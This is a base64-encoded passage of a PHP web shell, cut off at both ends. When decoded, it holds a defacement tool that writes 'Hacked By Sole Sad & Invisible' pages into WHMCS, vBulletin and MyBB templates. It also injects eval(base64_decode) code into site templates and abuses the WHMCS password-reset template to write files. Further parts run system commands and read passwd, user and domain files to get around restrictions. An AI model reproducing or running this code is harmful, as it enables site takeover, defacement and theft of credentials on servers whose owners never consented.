HMgcGVyIHNlY29uZDwvY2VudGVyPiI7CmVjaG8gIjwvcHJlPiI7Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9fcHJlKCl7cmV0dXJuKCc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIg
Y2xhc3M9Im1sMSI+Jyk7fQpmdW5jdGlvbiBob2tpSW5kZXhDaGFuZ2VyKCl7Cmhva2loZWFkKCk7CgplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEluZGV4IENoYW5nZXIgfDw
vZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxudWxsLFwnd2htY3NcJykiPnwgV2htY3MgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbG
ljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsXCd2YlwnLG51bGwpIj58IHZCdWxsZXRpbiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxudWxsLFwnbXliYlwnKSI+fCBNe
UJCIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydob2tpMyddKSYmKCRfUE9TVFsnaG9raTMnXSA9PSAnd2htY3MnKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250
X2hlYWRlcic+fCBXaG1jcyB8PC9kaXY+CjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCxudWxsLG51bGwsJ3dobWNzJyx0aGlzLmZuYW1lLnZhbHVlLHRoaXM
ucGF0aC52YWx1ZSx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYX
koJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksC
iAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VSTCcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAn
KSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRmlsZSBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ2ZuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0
+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZD
UnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKI
Cd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykK
KTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gIjxicj48ZGl2IGNsYXNzPSd0eHRmb250Jz58IFlvdXIgSW5kZXggfDwvZGl2Pjxicj4KPHRleHRhcmVhIG5hbWU9aW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSB
Tb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+CjwvZm9ybT48L2NlbnRlcj48L2NlbnRlcj4iOw
ppZihpc3NldCgkX1BPU1RbJ2hva2k2J10pKXsKJGtpczNyeW91bmk9IlBvd2VyZWQgQnkgS2lzZXJ5b3VuaSI7CiRkYnUgPSAkX1BPU1RbJ2hva2k2J107CiRwYXRoID0gJF9QT1NUWydob2tpNSddOwokZm5hbWUgPSAkX1BPU1RbJ2hva2k0J107C
iRkYm4gPSAkX1BPU1RbJ2hva2k3J107CiRkYnAgPSAkX1BPU1RbJ2hva2k4J107CiRkYmggPSAkX1BPU1RbJ2hva2k5J107CiRpbmRleCA9ICRfUE9TVFsnaG9raTEwJ107CiRpbmRleCA9IHN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRk
ZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJGtpc2VyeW91bmkgPSBmb3BlbigiJy4kZm5hbWUuJyIsInciKTsgZndyaXRlKCRraXNlcnlvdW5pLCR4KTsnOwokc2F2ZURhdGEgPSBfX1pXNWp
iMlJsY2coJGRlZmFjZSk7CiREZWYgPSAne3BocH1ldmFsKGJhc2U2NF9kZWNvZGUoIicuJHNhdmVEYXRhLiciKSk7ey9waHB9JzsKaWYoIWVtcHR5KCRkYmgpJiYhZW1wdHkoJGRidSkmJiFlbXB0eSgkZGJuKSYmIWVtcHR5KCRpbmRleCkpewokY2
9ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZVNhdmU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3a
GVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwoka2lzZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygka2lzZVNhdmUpOwokdGVtcFNhdmUxID0gJGtpc2VHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2Uo
IiciLCJcJyIsJHRlbXBTYXZlMSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckRGVmJyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRyZXN1bHQ9QG15c3FsaV9xdWVyeSg
kY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ2tpc2VyeW91bmlAZmJpLmdvdicpIjsKJHJlc3VsdDIgPUBteXNxbGlfcXVlcn
koJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CiRIb2tpU29sZSA9IG5ldyBIb2tpQ1VSTCh0cnVlKTsKJHNhdmV1cmwgPSAkSG9raVNvbGUtPlNlb
mQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOwokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7CiRIb2tpU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwi
cG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1raXNlcnlvdW5pQGZiaS5nb3YiKTsKJGJhY2tkYXRhID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0neyR0ZW1wU2F2ZX0nIFdIRVJFIG5hbWU
9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJEtpc2VyeW91bmkgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCdGaWxlIENyZWF0ZWQuLi4nKTsKZWNobyAiPG
JyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyIuJHBhdGguIi8iLiRmbmFtZS4iJz5Db
GljayBIZXJlICE8L2E+PC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPiI7Cn1lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxm
b250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPC9mb250Pjxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvcHdyZXNldC5waHAgXCI8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj4gYW5kIHJlc2V0IHB
hc3N3b3JkIHdpdGggZW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5raXNlcnlvdW5pQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYX
RoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkgJiYgKCRfUE9TVFsnaG9raTEnXSA9PSAndmInKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+P
GNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgndmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyx0aGlzLmRi
dS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCI+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiB
hcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNT
AnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9P
iAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXpl
JyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l
6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsIC
dpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9J
zEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3Jt
PjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnaG9raTgnXT09Jz4+Jyl7CiRraXMzcnlvdW5pPSJQb3dlcmVkIEJ5IEtpc2VyeW91bmkiOwokZGJ1ID0gJF9QT1NUWydob2tpMiddOwokZGJuID0gJF9QT1NUWydob2tpMyddOwokZGJwID0
gJF9QT1NUWydob2tpNCddOwokZGJoID0gJF9QT1NUWydob2tpNSddOwokaW5kZXggPSAkX1BPU1RbJ2hva2k2J107CiRwcmVmaXggPSAkX1BPU1RbJ2hva2k3J107CiRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOwokc2V0X2luZG
V4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOwokc2V0X2luZGV4IC49IF9fWlc1amIyUmxjZygiZWNobyBcIiRpbmRleFwiOyIpOwokc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX0iOwppZighZW1wdHkoJGRiaCkmJiFlbXB0e
SgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRsb2xpMSA9ICJVUERBVEUgIi4kcHJlZml4LiJ0
ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4ka2lzM3J5b3VuaS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsKJGxvbGkyID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2l
uZGV4LiIiLiRraXMzcnlvdW5pLiInIFdIRVJFIHRpdGxlPSdGT1JVTUhPTUUnIjsKJGxvbGkzID0gIlVQREFURSAiLiRwcmVmaXguInN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4ka2lzM3J5b3VuaS4iJywgc3R5bGV2YXJzPScnLCBjc3
Njb2xvcnM9JycsIGVkaXRvcnN0eWxlcz0nJyI7CkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkxKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMikgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvb
m4pKTsKQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTMpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ1ZCIGluZGV4IGNoYW5nZWQuLi4hJyk7Cn0KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgKCRfUE9TVFsn
aG9raTInXSA9PSAnbXliYicpKSB7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeWJiIHw8L2Rpdj4KPHA+PGNlbnRlcj4iLmdldENvbmZpZ0h0bWwoJ215YmInKS4iPGZ
vcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ251bGwnLCdteWJiJyxudWxsLG51bGwsbnVsbCx0aGlzLm15YmJkYmgudmFsdWUsdGhpcy5teWJiZGJ1LnZhbHVlLHRoaXMubXliYmRibi52YWx1ZSx0aGlzLm15YmJkYnAudmFsdW
UsdGhpcy5teWJiaW5kZXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1QgYWN0aW9uPScnPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc
3QnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0
ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZ
GRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdteWJiZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJy
A9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhY
mxlKTsKZWNobyAiPGJyPjxkaXYgY2xhc3M9J3R4dGZvbnQnPnwgWW91ciBJbmRleCB8PC9kaXY+PGJyPgo8dGV4dGFyZWEgbmFtZT1teWJiaW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+Cjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZp
c2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScnID48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9
TVFsnaG9raTYnXSkpewokbXliYl9kYmggPSAkX1BPU1RbJ2hva2k2J107CiRteWJiX2RidSA9ICRfUE9TVFsnaG9raTcnXTsKJG15YmJfZGJuID0gJF9QT1NUWydob2tpOCddOwokbXliYl9kYnAgPSAkX1BPU1RbJ2hva2k5J107CiRteWJiX2luZG
V4ID0gJF9QT1NUWydob2tpMTAnXTsKaWYoIWVtcHR5KCRteWJiX2RiaCkmJiFlbXB0eSgkbXliYl9kYnUpJiYhZW1wdHkoJG15YmJfZGJuKSYmIWVtcHR5KCRteWJiX2luZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbXliYl9kYmgsJG15Y
mJfZGJ1LCRteWJiX2RicCwkbXliYl9kYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHByZWZpeD0ibXliYl8iOwokbG9saTcgPSAiVVBEQVRFICIuJHByZWZpeC4idGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0nIi4kbXliYl9pbmRleC4i
JyBXSEVSRSB0aXRsZT0naW5kZXgnIjsKJHJlc3VsdCA9QG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTcpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ015QkIgaW5kZXggY2hhbmdlZC4uLiEnKTsKfQp9Cn0KZWNobyAiPC9
kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lwcm9jKCkKewpob2tpaGVhZCgpOwplY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48YnI+PGNlbnRlcj4iOwppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ2hva2
kxJ10pKQokX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CmlmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpewokcHJvY2Vzcz1hcnJheSgKIlRhc2sgTGlzdCIgPT4idGFza2xpc3QgL1YiLAoiU3lzdGVtI
EluZm8iID0+InN5c3RlbWluZm8iLAoiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAoiUnVubmluZyBTZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiJVc2VyIEFjY291bnRzIiA9PiAibmV0IHVzZXIiLAoiU2hvdyBDb21wdXRl
cnMiID0+ICJuZXQgdmlldyIsCiJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAoiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCik7fWVsc2V7CiRwcm9jZXNzPWFycmF5KAoiUHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoiU3l
zbG9nIiA9PiJjYXQgL2V0Yy9zeXNsb2cuY29uZiIsCiJSZXNvbHYiID0+ICJjYXQgL2V0Yy9yZXNvbHYuY29uZiIsCiJIb3N0cyIgPT4iY2F0IC9ldGMvaG9zdHMiLAoiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsCiJWZXJzaW9uIj0+Im
NhdCAvcHJvYy92ZXJzaW9uIiwKIlNiaW4iPT4ibHMgLWFsIC91c3Ivc2JpbiIsCiJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwKImxzYXR0ciI9PiJsc2F0dHIgLXZhIiwKIlVwdGltZSI9PiJ1cHRpbWUiLAoiRnN0YWIiID0+I
mNhdCAvZXRjL2ZzdGFiIgopO30KZm9yZWFjaCgkcHJvY2VzcyBhcyAkbiA9PiAkbGluayl7CmVjaG8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdwcm9jXCcsbnVsbCxcJycuJGxpbmsuJ1wnKSI+IHwgJy4kbi4n
IHwgPC9hPic7Cn0KZWNobyAiPC9jZW50ZXI+PGJyPiI7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKZWNobyAiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnID4iOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWx
zZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInOyI7fQplY2hvIGhva2lFeCgkY21kLiRfUE9TVFsnaG9raTEnXSwgdHJ1ZSk7CmVjaG8gJzwvcHJlPic7Cn0KZWNobyAiPC9kaX
Y+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lzYWZlKCl7Cmhva2loZWFkKCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEF1dG8gQnlQYXNzZXIgfDwvZGl2P
iI7CmVjaG8gJzxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwn
c2FmZVwnLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoYXBhY2hlKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLFwncGxcJykiPnwgLmh0YWNjZXNzKExpdGV
TcGVlZCkgfDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsXCdwYXNzd2RcJykiPnwgUmVhZC1QYXNzd2QgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb2
5jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd1c2Vyc1wnKSI+fCBSZWFkLVVzZXJzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsb
CxudWxsLG51bGwsXCd2YWxpYXNlc1wnKSI+fCBHZXQtVXNlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2RvbWFpbnNc
JykiPnwgR2V0LURvbWFpbnMgfCA8L2E+PC9jZW50ZXI+PC9oMz4nOwppZighZW1wdHkoJF9QT1NUWydob2tpOCddKSAmJiBpc3NldCgkX1BPU1RbJ2hva2k4J10pID09ICdkb21haW5zJyl7CmlmKCFfaG9raV9maWxlX2V4aXN0cygiL2V0Yy92aXJ
0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwoka2lzZXJ5b3VuaTkgPSBfaG9raV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoaXNfYXJyYXkoJGtpc2VyeW91bmk5KSl7CmZvcmVhY2goJGtpc2VyeW91bmk5IGFzICRraXNlcn
lvdW5pMTMpewppZihAZXJlZ2koJ3pvbmUnLCRraXNlcnlvdW5pMTMpKXsKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRraXNlcnlvdW5pMTMsJGtpc2VyeW91bmkxNCk7CmlmKHN0cmxlbih0cmltKCRraXNlcnlvdW5pMTRbMV1bMF0pK
SA+IDIpewplY2hvICRraXNlcnlvdW5pMTRbMV1bMF0uJzxicj4nOwp9fX0KfQp9ZWxzZXsKZWNobyBfX3ByZSgpOwokdXNlcnMgPSBfaG9raV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CmlmKGlzX2FycmF5KCR1c2Vycykpewpm
b3JlYWNoKCR1c2VycyBhcyAkYm96KXsKJGRvbSA9IGV4cGxvZGUoIjoiLCRib3opOwplY2hvICRkb21bMF0uIlxuIjt9fX19CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k2J10pICYmIGlzc2V0KCRfUE9TVFsnaG9raTYnXSkgPT0gJ3ZhbGlhc2VzJyl
7CmVjaG8gJwo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ3ZhbGlhc2VzXCcsdGhpcy5zaXRlLnZhbHVlLG51bGwsXCc+PlwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0IiAvPj
